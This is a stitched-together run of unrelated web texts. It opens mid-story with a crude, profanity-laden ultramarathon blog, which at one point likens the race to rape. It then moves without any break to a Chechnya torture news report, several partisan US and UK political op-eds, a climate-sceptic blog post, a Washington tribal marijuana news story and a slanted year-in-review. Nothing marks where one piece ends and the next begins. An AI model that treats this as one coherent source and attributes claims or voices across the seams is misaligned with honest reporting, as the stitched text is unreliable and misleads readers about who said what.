I tried to salvage what was edible and chowed on a few saturated Percy Pig.
Hardly the ideal breakfast.
I didn’t want to think about what lay ahead of me so I just got on the fucking minibus to the start with everyone else, arrived at registration and took my place at the start line.
Off to a walking start.
I knew that I wouldn’t be able to run the entire distance of the race so I started slowly at a walk and quickly formulated the plan to try to get well past 20 miles by mid day as part my greater plan to finish it by midnight.
This would leave 42.2 miles to do in 12 hours. It took me 8:23 to do the 36.5 miles I ran in the Titanic Quarter 50k.
Surely I’d be OK?
For the first 25k I just focused on running very slowly and walking a little too.
25k point
I hit 25k at about 10:30am knowing I was well on track to achieve my goal. I sat for 20 minutes at the rest point eating crisps, chocolate bars and drinking coffee. It felt amazing……
Until I glanced down at my top and noticed my left nipple was crying blood again.
I didn’t want to have to retire from weeping titties this early so I went immediately to the first aid point.
The doctor asked me what was wrong. I pointed to the blood stain on my jersey.
“I’m gonna have to tape that up” were her words.
“Ok. Can I see some certificates before you wrap it up love? I’m not normally this suspicious but when it comes to my tits, I don’t want them ripped to shit by an angry intern!”
Those were the words in my head. In reality I just said “OK.” and winced like the big puss that I am.
Running through the valley in the North Downs
The next stage after 25k was undoubtedly the high point of the run for me. I ran up the hill with a cyclist who was asking me about the challenge. I didn’t catch his name but talking with for 20 minutes took my mind off what was ahead of me.
For the next 5 miles I ran through countryside and it was heavenly. The sun even came out for the first time.
The only low point was encountering a woman walking 3 dogs on a very steep and narrow stretch of footpath. I let her and her hounds pass me but one of them wouldn’t budge.
The lone dog barked at me and ran backwards.
I started slipping down the hill.
The dog barked more and ran even further back.
I slipped down the hill even faster.
The dog barked louder and ran further and further back.
This fucking cherade carried on for what felt like 12 fucking hours at the time. I tried reasoning with the dog but it couldn’t understand me through my broad Ulster dialect.
I’m very fortunate that I didn’t get bitten.
My first fall and heavy rain and hypothermia at Crawley.
The run turned nasty at 40k. I was only a mile short of the rest break when I fell hard after tripping up over my own legs. Loads of people saw me go down so I pretended to laugh but it was actually really fucking sore.
Fortunately I wasn’t hurt and sprinted on to the rest point where I made sure I downed as much food and water as I could to keep my energy levels up.
It was here that the weather turned really nasty for half an hour and I began to shiver like fuck. I was taken into the first aid tent again and given a foil blanket and binliner to run in.
The sun came back out again quickly and the rest of the run up until 56k was beautiful.
The main rest stop at Tully’s Farm was fucking amazing too!
I made most of the BBQ and had a few hot dogs, 2 plates of pasta and lots of coconut milk.
The sun came out and the atmosphere was great.
I maybe spent a little bit too much time here as when I tried to move from 56k I was stiff as hell and lost my footing running on the grass. I didn’t go down but it was fucking worrying.
The run from here was actually quite nice. We ran through lots of wooded areas and I found my rhythm again.
Hopelessly lost in Ardingly.
I came out of the penultimate rest stop full of hope and energy. Sure, I had 20 miles ahead of me but I knew that if I focused on moving forward I’d get there and likely not long after midnight.
All I needed was a clear stretch of footpath or road to help me maintain the rhythm I’d built since Tully’s.
It wasn’t to be.
Half a kilometer down the road I came across another muddy path that I slipped on almost instantly. It wasn’t any sort of fall either. I did the splits and then fell backwards onto my hole.
My head dropped a little and I became very fucking angry.
Once I crossed over the mud I took a wrong turn and ended up in the private gardens of a country club. I had a mental image of me buzzing on their bell totally covered in grim and shit only to see them pointing a shotgun through their door at my balls.
I found the exit after 20 minutes of wondering around hopelessly and suddenly I was on a main road.
Totally fucking lost.
At that point I just broke down in tears. I was weeping like I hadn’t wept since once night in Tivoli Gardens, Copenhagen out of grief in 2011.
I must have walked for about half a mile just sobbing out of exhaustion/dissapointment/frustration/anger and fuck knows what else.
Luckily a kind lady stopped and asked what was wrong with me. I told her that I was hopelessly fucking lost and was concerned that I was walking back towards Gatwick and the start line.
She pointed the way to Lindfield where I could get back on track. Hope immediately returned and I started sprinting like fuck down the road. I forgot all about the last 70k and just concerned myself with finishing the rest of the challenge.
Running without any hope and little light.
I wish I could say that the race picked up from here, but it didn’t.
I found the path again but by this time it was night and I didn’t have a head lamp. I only had one shitty glowsick to light the way.
My first calamity involved running head first into a steel post. I was long past the point of restraining my frustration so I screamed “YOU MOTHERFUCKING CUNT!”.
The guys I was running with at the time were quickly losing patience with me and erratic behaviour.
They ran on.
So I stopped again and waited again until I saw the light shining from another head torch. I must have met and lost about 30 separate running groups on my way through those painful few kilometers.
The conversations started and ended with statements like.
“Whatcha doing fella? You hurt?” “Why are you standing there?!?” “Well what do we have here Mister? Aren’t you meant to be heading this way!?! ” “I think you’re hurt. You obviously can’t go on. Wait on the bus!”
It was humilating being out there on my own and my mind was an absolute mess at the time. I was so far from the next rest station that I couldn’t quit without someone coming out to rescue me. I didn’t want that. But at 72km I realised it was the only option.
The ‘rescue’ bus came and my heart sank.
Was I really gonna give up this easily? I’d been talking about the challenge for many months. I owed it to the Northern Ireland Hospice to put in my best effort. Still, I just couldn’t see how I could go on at all after this.
It just seemed absolutely hopeless without any light. And I was tired of asking strangers for help. I was slowing everyone up.
I talked with the rescue guy and said that I’d try to continue. All I could do was focus on babysteps through the mud and the rain.
The neverending battle to 80k.
The lowest point came when I hit a swamp at about 78 or 79k. I had no energy left. I was on the verge of mental collapse. I hadn’t seen anyone else for what seemed like an age. I took one wrong step and slid into the mud again, lost my mind, wore my shoe as a glove and started punching the ground screaming “OM NOM FUCKING NOM. HAVE IT THEN IF YOU WANT IT SO FUCKING BAD YOU FUCKING CUNT”.
This didn’t help my cause. I ran until 80k with a face of full of what looked like shit.
Once again I was ready for quitting. So I just lay there on the ground for about 20 minutes. No one was in danger of seeing me as my one solitary glowstick had burned out with my hope by this point.
Out of nowhere I heard music. I recognised it from the distant past. As the figures in the distance came closer I realised that they were listening to ‘Champagne Supernova’ by Oasis on a mobile phone.
The music stirred some dead hope in my soul. I got up, asked them if I could tag along to 80k and just talked with them for a while.
I got to 80k
It was 1am at this point. I was beyond exhausted. The first aid staff asked if I wanted to quit. I told them that I wouldn’t be making any decisions until I had a bacon butty.
I sat on my own in the food tent trying to continue to down liquids and to eat what I could.
Pure survival mode.
I waited for around an hour before making my start again outside.
I tried my best to begin jogging again but my body forgot how to make the movements. For some reason I was kneeing the air. It just looked all wrong.
The next 7k was so much easier than the last section. No mud and just pure road. I walked and hit 88 as the sun rose and suddenly I knew I was gonna complete the challenge after all.
The next great challenge involved walking up the South Downs, a steep ascent that reminded me of the hills I used to run back up back home. My training helped me out here and I was able to pick up some speed on the uphill stretch and even overtake some people (which hadn’t happened since at least 70k!)
I started running again on and off between 88k and 91 but I had to stop as the blisters on my feet were sore as hell.
From 92k onwards I entered a dream like state. I hadn’t slept in 48 hours and was worried I was gonna totally fucking freak out Barcelona style and the last thing the volunteers needed was a wan Irishman yelling about the dead claiming Sussex as their own.
Finishing.
I finished in 25 hours 58 minutes.
As we crossed the finish line we each were handed a glass of champagne and it was just a lovely reception on a lovely day at Brighton racecourse.
The best bit of the story is that the lady who stopped to ask if I was OK at Ardingly was waiting for me at the finish line.
The whole race was such a formative experience and it’s something that I will look back at with fond memories for a long time – even though most of it was worse than rape.
And you know what? I’m gonna try to make it back next year. The rest stops are the best I have ever encountered and made completion the distance so much easier!
Earlier this month it was revealed police in the predominantly Muslim republic rounded up more than 100 men suspected of homosexuality and that at least three of them had been killed.
Reports had initially centred on two jails in the villages of Argun and Tsotsi-Yurt. But Novaya Gazeta, the respected Russian newspaper that made the initial claims, now says there are a further four prisons illegally holding men for their sexual orientation.
At least six secret prisons are holding gay men in Russia's Chechen Republic, with prisoners tortured until families pay police large bribes, it has been claimed. Chechen leader Ramzan Kadyrov (pictured) has denied rounding up and murdering homosexuals in his predominately Muslim republic
The newspaper also claims that the men, who face torture in jail, are only released once their families offer bribes to police.
Chechen leader Ramzan Kadyrov last week denied rounding up and murdering homosexuals and insisted one man declared dead was 'in good health and at home'.
But his denial was then dismissed by many gay men forced to flee the country, one of whom told the AFP news agency: 'I had to lie or die.'
Campaigners said gay men are being tortured with electric shocks and beaten to death, or ordered to 'sit on bottles' as punishment.
Images of people who claim to have been detained at the camps show them with large bruises on their legs, and what appears to be burns on their backside.
One survivor, known only as Adam, said metal clamps were attached to his fingers and toes before shockwaves were sent through his body, as part of a campaign of torture at an informal detention facility.
Families are believed to be 'shamed' for not snitching on homosexuals, who are publicly humiliated, beaten up and electric shocked in prisons. Pictured: A former military base in the city of Argun, believed to be the location of one of the camps
Adam also told how he was beaten with wooden sticks or metal rods as his torturers shouted abuse at him and demanded to know the names of other gay men.
Chechnya, which has come under fire from LGBT groups for its institutional homophobia, is run by Kadyrov, a father-of-ten who has been accused of ordering extra-judicial killings.
It was feared that he is sanctioning the killings of homosexuals after his spokesman after Alvi Karimov denied there were any gays in Chechnya at all.
Karimov added: 'You can't detain and harass someone who doesn't exist in the republic.
'If there were such people in the Chechen republic, law enforcement wouldn't have a problem with them because their relatives would send them to a place of no return.'
One former gay inmate, known only as Adam, said metal clamps were attached to his fingers and toes before shockwaves were sent through his body as part of a campaign of torture at an secret prison in Chechnya. Pictured: Another victim speaking out on TV in Germany
Today, Russian Foreign Minister Sergey Lavrov said Moscow was concerned about human rights violations but had no reason to believe reports about the persecution of gay men in Chechnya.
President Vladimir Putin last week met Kadyrov, who dismissed the 'provocative' reports.
The reports, however, have been taken seriously by the UN High Commissioner for Human Rights and prominent international organisations, which have urged the Russian government to investigate.
It wasn't a surprise to see Republican luminaries, including Mitt Romney, Rick Santorum, Newt Gingrich and Mitch McConnell flock to major conservative conference last week that also included a panel session featuring a white supremacist. But it was ironic that this same event, the Conservative Political Action Conference, banned a group of gay conservatives from participating, accusing them of alienating so-called "family values" groups like the Family Research Council (FRC).
The banned group, GOProud, is hardly radical, even by right-wing standards -- it split from the Log Cabin Republicans because it thought the older group was too concerned with gay rights. Beyond pushing the much feared "The Gay Agenda," now just being gay excludes you from the biggest conservative conference of the year. Being a white supremacist gets you on a panel.
This year, CPAC banned the gays to gain back the FRC -- and white supremacists came as a bonus. The leaders of the GOP -- including a few aspiring leaders of the free world -- came along for the ride.
But CPAC was just the beginning of what has been a surreal week for a major political party. On Friday, President Obama announced a compromise with Catholic leaders who objected to religious institutions being included in the contraception coverage mandate for employee insurance. The compromise, which spared Catholic institutions from providing contraception coverage while ensuring that female employees would still have access to it, was not enough for the Catholic bishops and GOP leaders. Instead, they announced that they wanted a rule that would allow any employer to renounce any insurance coverage for any procedure they find morally objectionable.
Anyone who has ever had health insurance knows that that's an extreme position -- allowing employers to pick and choose what procedures they'll provide insurance for? -- but it's one that Mitt Romney, Rick Santorum, Newt Gingrich and the leaders of the House and Senate GOP jumped right on.
Getty•Express Jacob Rees-Mogg said British consumers should have a choice
Global trade experts, including Ben Southwood, head of research at leading free trade think tank the Adam Smith Institute, said to make use of being free of the shackles of the EU, concessions need to be made. He said: “If we want a quick and profitable deal with the US, we need to put chlorine-washed chicken on the table.” Conservative MP Mr Rees-Mogg agreed and said the British public should be given more credit and should be allowed to choose whether they want to buy chlorine-washed chicken or not.
The real Jacob Rees-Mogg Wed, February 8, 2017 Jacob Rees-Mogg is one of the biggest characters in the Tory party. Known for his RP diction, humorous speeches and staunchly pro-Brexit views, the MP for Northeast Somerset is firmly in the public eye Play slideshow AFP/Getty Images 1 of 12 Jacob Rees-Mogg poses as he delivers a petition against the provision of foreign aid at 10 Downing Street in London
The North East Somerset MP said the method was a big sticking point when New Zealand was negotiating a trade deal with the US. He exclusively told Express.co.uk: “I read a report about New Zealand on the contentious issue of chlorine in chickens, when they were doing a trade deal with the US. “What they said was there has been no example of any illness to anybody who has ever eaten chicken that has had a chlorine wash. “The only people who had been affected by the chlorine were the inspectors who had been around seeing how the chlorine was applied. “They got too much chlorine and felt a little bit under the weather, queasy!”
He said when the UK is free of EU rules and regulations it will be free to set its own standards. Mr Rees-Mogg, said: “We’re completely entitled to set the standards we want, and we may want to import Australian beef rather than American beef. “But America is the most litigious country in the world.
Getty A UK-US trade deal could hinge on chicken
“The idea that America deliberately poisons its own population is absurd and it’s actually code protectionism. “Critics are saying we mustn’t let the British people to buy American chickens because it’s got chlorine in it. “Well, why not let the British people decide for themselves.
The whole concept behind IPCC is basically wrong. – Lennart Bengtsson
Last week, The Global Warming Policy Foundation (GWPF) issued a press release that Lennart Bengtsson joints the GWPF’s Academic Advisory Council. Exceprts:
The Global Warming Policy Foundation is pleased to announce that Professor Lennart Bengtsson, one of Sweden’s leading climate scientists, has joined the GWPF’s Academic Advisory Council.
Professor Lennart Bengtsson has a long and distinguished international career in meteorology and climate research. He participated actively in the development of ECMWF (European Centre for Medium-Range Weather Forecasting) where he was Head of Research 1975-1981 and Director 1982-1990. In 1991-2000 he was Director of the Max Planck Institute for Meteorology in Hamburg. Since 2000 he has been professor at the University of Reading and from 2008 the Director of the International Space Science Institute in Bern, Switzerland.
Professor Bengtsson has received many awards including the German Environmental Reward, The Descartes Price by the EU and the IMI price from the World Meteorological Organisation (WMO). He is member of many academies and societies and is honorary member of the American Meteorological Society, the Royal Meteorological Society and European Geophysical Union. His research work covers some 225 publications in the field of meteorology and climatology. In recent years he has been involved with climate and energy policy issues at the Swedish Academy of Sciences.
The other members of the GWPF Academic Advisory Council are [link].
Both Marcel Crok and Hans von Storch have interviewed Bengtsson subsequent to the GWPF announcement.
Marcel Crok’s interview
Exceprts from Crok’s interview:
MK: Why did you join the GWPF Academic Council?
LB:I know some of the scientists in GWPF and they have made fine contributions to science. I also respect individuals that speak their mind as they consider scientific truth (to that extent we can determine it) more important than to be politically correct. I believe it is important to express different views in an area that is potentially so important and complex and still insufficiently known as climate change.
My interest in climate science is strictly scientific and I very much regret the politicisation that has taken place in climate research. I believe most serious scientists are sceptics and are frustrated that we are not able to properly validate climate change simulations. I have always tried to follow the philosophy of Karl Popper. I also believe that most scientists are potentially worried because of the long residence time of many greenhouse gases in the atmosphere. However, our worries must be put into a context as there are endless matters to worry about, practically all of them impossible to predict. Just move yourself backward in time exactly 100 years and try to foresee the evolution in the world for the following 100 years.
MC: Is this your way of telling the world that you have become a “climate sceptic”? (many people might interpret it that way) If not, how would you position yourself in the global warming debate?
LB: I have always been sort of a climate sceptic. I do not consider this in any way as negative but in fact as a natural attitude for a scientist. I have never been overly worried to express my opinion and have not really changed my opinion or attitude to science. I have always been driven by curiosity but will of course always try to see that science is useful for society. This is the reason that I have devoted so much of my career to improve weather prediction.
MC: Is there according to you a “climate consensus” in the community of climate scientists and if so what is it?
LB: I believe the whole climate consensus debate is silly. There is not a single well educated scientist that question that greenhouse gases do affect climate. However, this is not the issue but rather how much and how fast. Here there is no consensus as you can see from the IPCC report where climate sensitivity varies with a factor of three! Based on observational data climate sensitivity is clearly rather small and much smaller that the majority of models. Here I intend to stick to Karl Popper in highlighting the need for proper validation.
MC: Mojib Latif once said at a conference of the WMO (in 2009) “we have to ask the nasty questions ourselves”. Do you think the climate community is doing that (enough)? or are others like the GWPF needed to ask these “nasty” questions? If so, what does this say about the state of Academia?
I think the climate community shall be more critical and spend more time to understand what they are doing instead of presenting endless and often superficial results and to do this with a critical mind. I do not believe that the IPCC machinery is what is best for science in the long term. We are still in a situation where our knowledge is insufficient and climate models are not good enough. What we need is more basic research freely organized and driven by leading scientists without time pressure to deliver and only deliver when they believe the result is good and solid enough. It is not for scientists to determine what society should do. In order for society to make sensible decisions in complex issues it is essential to have input from different areas and from different individuals. The whole concept behind IPCC is basically wrong.
MC: I noticed that some climate scientists grow more sceptical about global warming after their retirement. Can you confirm this? Does it apply to yourself? Is there a lot of social pressure to follow the climate consensus among working climate scientists which can explain this?
LB: Wisdom perhaps comes with age. I also believe you are becoming more independent and less sensitive to political or group pressure. Such pressure is too high today and many good scientists I believe are suffering. I am presently a lot on my own. As I have replied to such questions before, if I cannot stand my own opinions, life will become completely unbearable.
Von Storch’s interview
Excerpts from von Storch’s interview:
LB: My interest i climate science and in weather prediction has always been driven by scientific curiosity and I have increasingly been disturbed by the strong tendencies to politization that has taken place in climate research in recent years. I believe most serious scientists are sceptics and are particularly frustrated that we are not able to properly validate climate change simulations. I have always tried to follow the philosophy of Karl Popper that I believe is particularly important when you are dealing with complex systems of which the climate system is a primary example. For this reason empirical evidence is absolutely essential. The warming of the climate system since the end of the 19th century has been very modest by some ¾°C in spite of the simultaneous increase in greenhouse gas forcing by 2.5-3 W/m2.
I am concern that this as well as the lack of ocean surface warming in some 17 years has not been properly recognized by IPCC. Nor have the cooling and increase in sea ice around Antarctica been properly recognized. Climate science must be focussed to understand such matters much better and for this reason it is appropriate to have an open mind and not follow the IPCC as believers of a religious faith.
HvS: The GWPF – what type of organisation is this?
LB: I was somewhat surprised when I was asked to join but I know some of the people like Richard Lindzen, Richard Tol and Henrik Svensmark that I consider as fine scientists although I do not always agree with them. In fact I have had considerable disagreement with both Lindzen and Svensmark in public debates during the last 15 years. Most of the members of GWPF are economists and leading intellectuals that often have expressed critique towards the present dominant climate policy. This critique has generally in my view been justified as I strongly endorse an open society and consider it as an healthy sign that there is place for different well-thought through opinions on complex issues.
HvS: It seems that rather controversial knowledge claims are voiced through the GWPF-website – e.g. “The Observatory”. Some may believe that you as an advisory board member and very prominent atmospheric scientist would share such claims. Will you try to avoid such perceptions? What about your skeptical attitude concerning knowledge claims favored by GWPF or its members?
LB: There is no common view among the members of GWPF and I might well have a quite different view than from some of them. I will in no way hide my views. But I believe that someone like Lindzen that is a first class meteorologist sees things in a similar way. I am not joining in order to learn any meteorology but to rather to teach. But we might have more common views what we are going to do about climate change. I am looking forward to argue with some of the other members – we will see how it will work out.
JC comments
I regard this as a very interesting and significant event, that runs counter to the near universal trend in academic circles to attempt to ignore and marginalize organizations and individuals that are skeptical of UNFCCC/IPCC global warming science, impacts, and/or solutions.
I don’t disagree with anything LB has said here, I applaud his speaking out in this way. I haven’t personally made up my mind about the GWPF; I will be following closely to see how this plays out.
LB’s most significant statements, IMO, which I wholeheartedly endorse:
I believe it is important to express different views in an area that is potentially so important and complex and still insufficiently known as climate change.
However, our worries must be put into a context as there are endless matters to worry about, practically all of them impossible to predict.
I think the climate community shall be more critical and spend more time to understand what they are doing instead of presenting endless and often superficial results and to do this with a critical mind. I do not believe that the IPCC machinery is what is best for science in the long term. We are still in a situation where our knowledge is insufficient and climate models are not good enough. What we need is more basic research freely organized and driven by leading scientists without time pressure to deliver and only deliver when they believe the result is good and solid enough. It is not for scientists to determine what society should do. In order for society to make sensible decisions in complex issues it is essential to have input from different areas and from different individuals. The whole concept behind IPCC is basically wrong.
Former New Mexico Gov. Gary Johnson, a Republican who cut spending while advocating legalization of marijuana, originally ran for the GOP presidential nomination. But most of the debate organizers refused to let him join the largely undistinguished candidate herd which included another unknown former governor (Jon Huntsman) and a businessman with no political experience (Herman Cain).
Johnson switched parties and won the Libertarian Party nomination (joined by former Judge Jim Gray, the vice presidential nominee). Now Republicans fear the LP might take votes away from their candidate, Mitt Romney, who talks against spending and regulation. GOP operatives were able to keep Johnson off the Michigan ballot—after the LP filed the paperwork three minutes late. In Pennsylvania state Republican officials unsuccessfully challenged Johnson’s petition campaign (as elsewhere, the major party duopoly requires its competitors to collect signatures to go before the voters).
In the summer the Republican National Committee attempted to void Nevada’s law which offers a ballot option of “none of these candidates.” Republicans claimed they wanted to “bring clarity” to the election, but their real purpose was obvious: given the option of saying no to both major party representatives of Big Government, some citizens would be inclined to check “none.” In 1998 Sen. Harry Reid, the current majority leader, won reelection by 428 votes while more than 8000 Nevadans chose “none.” As the national challengers in 2012, the Republicans hoped these voters would migrate their way. Thankfully, the federal appellate court affirmed the law.
Obviously, the Republican Party is running scared. Reince Priebus, the national GOP chairman, dismissed Johnson as a “nonfactor.” But then why keep him out of intra-party debates and try to keep him off of the general election ballot? Because leading Republicans know that any citizen who really believes in limited government and individual liberty does not want to vote for either Barack Obama or Mitt Romney.
When a supporter of Rep. Ron Paul, the nation’s leading political libertarian and the LP’s standard-bearer in 1988, asked GOP vice presidential nominee Paul Ryan why libertarians should vote Republican, the latter responded: “Do you want Barack Obama to be re-elected?” The obvious answer is no.
However, in the same situation Vice President Joe Biden could have responded similarly: “Do you want Mitt Romney to be elected?” And the answer equally would be no.
Both the Republican and the Democratic presidential candidates talk about liberty, freedom, fiscal responsibility, free enterprise, choice, and the Constitution. But neither candidate believes in those principles. Elect either Barack Obama or Mitt Romney, and government will be bigger, spending will be higher, regulation will be more intrusive, the military will be fighting more wars, more service personnel will be dying, more money will be wasted abroad, civil liberties of more people will be violated, and more privacy of more citizens will be invaded. Overall, the free society will continue to retreat.
Advocates of the RepubliCrats are reduced to arguing that their guy is the lesser of two evils. Evil yes, just not as truly awful as the other guy.
Think of all the extra money Barack Obama would waste, say the Republicans. That argument sounded better before President George W. Bush and the GOP Congress went wild, running up the federal tab on virtually every program, even matching Lyndon Johnson’s spending increases for domestic discretionary spending. The budget was far safer during the 1990s, when a Democratic executive faced a Republican legislature.
Think of all the extra wars Mitt Romney would start, say the Democrats. That argument would be more convincing before President Barack Obama doubled down in Afghanistan, intervened in Libya, sent troops to Uganda, and threatened Iran with war. At least George W. Bush didn’t use slide shows to decide which American citizen to execute overseas. The country was far safer under Ronald Reagan, who only briefly employed military force three times during his presidency, and withdrew from Lebanon without attempting to “fix” that broken land.
The two leading candidates want to toss people in jail for smoking marijuana, even though the last three presidents and tens of millions of Americans have used the drug. Both contenders believe that presidents enjoy unaccountable autocratic powers if exercised in the name of “national security.” Both believe in the vast entitlement state with mass income transfers and redistribution.
Irrespective of the rhetoric, there isn’t much practical difference between the major parties. There might be a bit more than the “dime’s worth of difference” suggested by George Wallace. But probably not. After all, in his latest flips of many flops Romney continues to moderate his positions in a desperate ploy for votes: after the first presidential debate New York Times columnist David Brooks celebrated the return of “Moderate Mitt.” There should be real difference to vote for evil, even if slightly less than the other evil.
Today those who believe in individual liberty and limited government are essentially stuck choosing between a big-spending militaristic statist and a big-spending militaristic statist. Both are heading the same direction, even if they might reach various points more or less quickly. The differences are in degree, not kind. An alternative is desperately needed.
Rep. Ron Paul (R-Tex.) provided one in Congress and the Republican Party presidential primaries, but he is retiring. Sen. Rand Paul (R-Kty.) is more mainstream than his father, but still may come to offer “a choice, not an echo,” as supporters of Sen. Barry Goldwater (R-Ariz.) put it nearly a half century ago.
The Tea Party helps. The movement is complicated and internally inconsistent, but David Kirby and Emily Ekins of FreedomWorks and the Reason Foundation, respectively, reported in a recent Cato Institute study that “Roughly half the tea party is socially conservative, half libertarian—or, fiscally conservative, but socially moderate to liberal.” As a result of the movement’s focus on economic issues, they added, “Even social conservatives and evangelicals within the tea party act like libertarians.”
Finally, there are alternative political parties. The Constitution, Reform, and Green Parties all have advanced at least some issues in the cause of individual liberty and limited government. Most consistent, despite its often indifferent vote totals, is the Libertarian Party. In choosing Johnson and Gray the LP nominated two serious candidates who truly offer a choice rather than an echo.
Which triggered even more frenzied Republican attacks on the LP. This is the most important election in a generation (or is that millennium?), GOP apparatchiks proclaim, so any vote for anyone else is wasted. Of course, they said the same thing four years ago. And eight years ago. Alas, in those elections most Americans end up “wasting their votes” on the two RepubliCrat candidates dedicated to the failed status quo.
Despite claims of imminent Armageddon, the U.S. will survive whether Barack Obama (or Mitt Romney) is elected. Government will be bigger, people will be less free, the nation will be less prosperous, Americans will remain at war around the world. But life will go on. The only way to encourage real change is look beyond today’s political duopoly. The only way to elect someone who is not a big-spending militaristic statist is to allow someone who is not a big-spending militaristic statist on the ballot. And to vote for that someone.
A fully budded marijuana plant ready for trimming is seen at the Botanacare marijuana store ahead of their grand opening on New Year's day in Northglenn, Colorado December 31, 2013. REUTERS/Rick Wilking
The roughly 10,000-member Yakama Nation had already asserted sovereignty to keep pot outlawed on 1.2 million acres of reservation land it controls in central Washington’s Yakima Valley.
But in a bold move that could test the limits of tribal sovereignty, the Yakama are also seeking to bar pot cultivation and sales from a 10.8 million acre stretch of the state it ceded under an 1855 treaty with the U.S. government, but where the tribe still holds hunting, food-gathering and fishing rights.
“Marijuana is the biggest problem for our people up to age 40,” said George Colby, attorney for the Yakama Nation. “It’s a bigger problem than alcohol.”
The move adds to a growing backlash against pot in Washington state that pits the liberal tech hub of Seattle against some more conservative areas. At least six local governments are also taking a stand to keep out pot businesses, including two that lie on the Yakama’s ceded lands.
Marijuana businesses on those lands, spanning 10 counties, would exacerbate an epidemic of use in a tribe with no cultural ties to pot, Yakama says. It has filed challenges to nearly 1,300 pending pot business applications there.
The tribe, which has threatened to sue if its demands are not met, in the past has won legal cases blocking projects deemed detrimental to its well-being, including a proposed landfill on the ceded lands. About a quarter of the land is national forest, where pot is already banned by federal law.
Chris Marr, a member of the state Liquor Control Board charged with regulating pot, said it would consider the tribe’s concerns when issuing individual licenses, but views the tribe’s assertion of authority with skepticism.
“As far as requiring us to deny applications on all ceded lands, to me that seems to be quite a heavy lift,” he said.
Washington and Colorado became the first U.S. states to legalize recreational marijuana in 2012 ballot initiatives, and a similar measure will be on the ballot in Alaska this summer.
The federal government classifies marijuana as an illegal narcotic, although the Obama administration issued guidelines in August giving states new leeway to experiment with legalized cannabis. Colorado was the first to open a network of state-licensed marijuana stores in January.
Washington, which issued its first pot-growing license this month, is set to follow suit in June. Pot regulators have received more than 7,000 applications from entrepreneurs seeking licenses to grow, process or sell marijuana.
CONFRONTATION OR COMPROMISE?
The Yakama Nation has cited federal anti-drug laws, and its desire to curb pot use among its young tribal members, in challenging marijuana retail business applications in the ceded lands, where over 600,000 non-Indians reside.
A 2011 U.S. National Survey on Drug Use and Health report found 22 percent of Native American youth, ages 15 to 17, had used marijuana within the past month, nearly double the national average.
If no accommodation is reached, the tribe will likely make an unprecedented assertion of tribal authority over the ceded lands by suing in federal court, Colby said. While it has fought off uses of ceded land it deems objectionable before, it has never sought to block a state law from taking hold there.
“We are making this the test case,” Colby said.
Troy Eid, a former U.S. Attorney for Colorado who chairs a federal advisory panel for criminal justice issues on Native American lands, suggested the sides try to reach a settlement rather than heading into a drawn-out court case.
“They ought to come to some voluntary agreement where each side reserves its arguments about sovereignty and its ability to make law,” Eid said.
The Yakama Nation’s demands put it somewhat awkwardly on the same side of the fence as the cities of Yakima and Wenatchee, which have enacted their own bans on marijuana retailers and producers over the objections of state regulators.
Along with other local governments preferring to keep marijuana sales out, Yakima and Wenatchee got a boost when the state attorney general issued an opinion in January that cities and counties could opt to ban pot within their own boundaries.
But both Yakima and Wenatchee overlap the tribe’s ceded lands and were wary of appearing to acknowledge any assertions of Indian sovereignty there.
“When they start talking about ceded land, there’s a lot of other things involved other than marijuana, like water rights,” said Yakima city councilman Bill Lover, who opposes pot businesses.
Leaders of other Native American tribes, by contrast, have expressed support for the Yakama’s bold demands, even if no other tribes appear poised to followed suit.
The death of Thomas Young
Thomas Young, an Iraq War veteran and outspoken critic of the conflict sacrificed everything for his country. Shot in the neck just days into his tour, he was paralyzed from the neck down. Then, on November 10 – a day before Veteran’s Day – he died at the age of 34. Prominent journalist and activist Christopher Hedges said Young had died knowing “what the masters of war had done to him, how he had been used and turned into human refuse."
The Odessa massacre
May 2 was the bloodiest day of civil conflict in Odessa, Ukraine, in nearly a century, but nearly eight months on, little progress has been made in catching the culprits who set the city’s landmark Trade Unions House ablaze, killing 43 pro-Russian activists inside.
In September, a parliamentary inquiry member retracted her signature from an allegedly "redacted" Ukrainian government probe, leaving serious doubts that justice for the victims would ever be realized.
Obama bombs 7th country in 6 years
Five years after President Barack Obama nabbed a Nobel Peace Prize, he was also party to a far less prestigious accomplishment; the US Commander-in-Chief had bombed seven countries in six years. The not-so-lucky number came in September, when the US launched airstrikes against so-called Islamic State (IS, formerly ISIS/ISIL) militants in Syria.
READ MORE: 5 not-so-peaceful Obama actions since nabbing Nobel Prize
Syria joined Iraq, Afghanistan, Yemen, Somalia, Libya and Pakistan among the states to find themselves facing down US air power during the Nobel laureate’s tenure.
Hammond, Anonymous and the FBI
Jailed hacker Jeremy Hammond is one year into a 10-year sentence for hacking into the Stratfor intelligence company’s website. Like any idealist, he did it to "expose the truth." But the truth behind his imprisonment is anything but a simple matter.
According to leaked documents, Hammond was one of many hacktivists who had been provided targets by an FBI informer. Not only were hackers like Hammond reportedly instructed to hack sites like Stratfor to check for vulnerabilities, but Anonymous and others had been directed to target no fewer than 30 foreign government websites by the FBI collaborator. Hammond's stiff sentence was a reaction to the “national security threat” he allegedly posed. But what about those who were pulling the strings in the first place?
What is TTIP again?
Privatization, exploitation, and environmental degradation, critics claim the Transatlantic Trade and Investment Partnership (TTIP) is a Trojan horse headed for Europe, and few even know what it is. Whether it brings about great economic growth as promised by its proponents or leaves Europe under the thumb of multinationals, if you want to know what TTIP is all about, it’s time to READ MORE.
READ MORE: France will not sign multibillion transatlantic trade deal with US in 2015
READ MORE: #NoToTTIP: 1,000s to march in UK, across Europe against transatlantic trade deal
READ MORE: 'TTIP will allow private companies to sue govt. for millions’
Third time’s a charm for Million Mask March
By this point who could forget November 5, what with the 3rd annual ‘Million Mask March’ protest being the largest to date. The Anonymous-organized protest movement claims to be the world’s largest, with austerity, corruption, mass surveillance and war crimes all being among the participants’ grievances. This year saw events organized in 481 cities across the globe.
Sporadic scuffles marked the London event, and an appearance by recent revolution-peddler Russell Brand might have raised the movement’s profile ever so slightly. But even with an endorsement from Brand, the global march will likely end up on this list come next year.
The Wiki-Leaks keep on coming, while Assange marks 4 years without freedom
December 7 marked the fourth anniversary of WikiLeaks founder Julian Assange first being remanded into custody over sex-crime allegations. After spending nearly two-and-a-half years holed up in the Ecuadorian Embassy in London, his fate seems no more certain. None of that has stopped WikiLeaks, which continues in its quest for transparency, shocking the world with its revelations. A US plot to close down a Kurdish TV station to appease Turkey and secure a new NATO chief? Check. The NSA recording and storing all the phone calls in Afghanistan and the Bahamas? Got it. A secret Trade in Service Agreement covering 68 percent of the world - are you serious? Whether it's exposing Google collusion in Afghanistan spying or CIA doubts about a backlash from drone strikes and other targeted counterinsurgency programs, WikiLeaks continues to speak (and leak) truth about power.
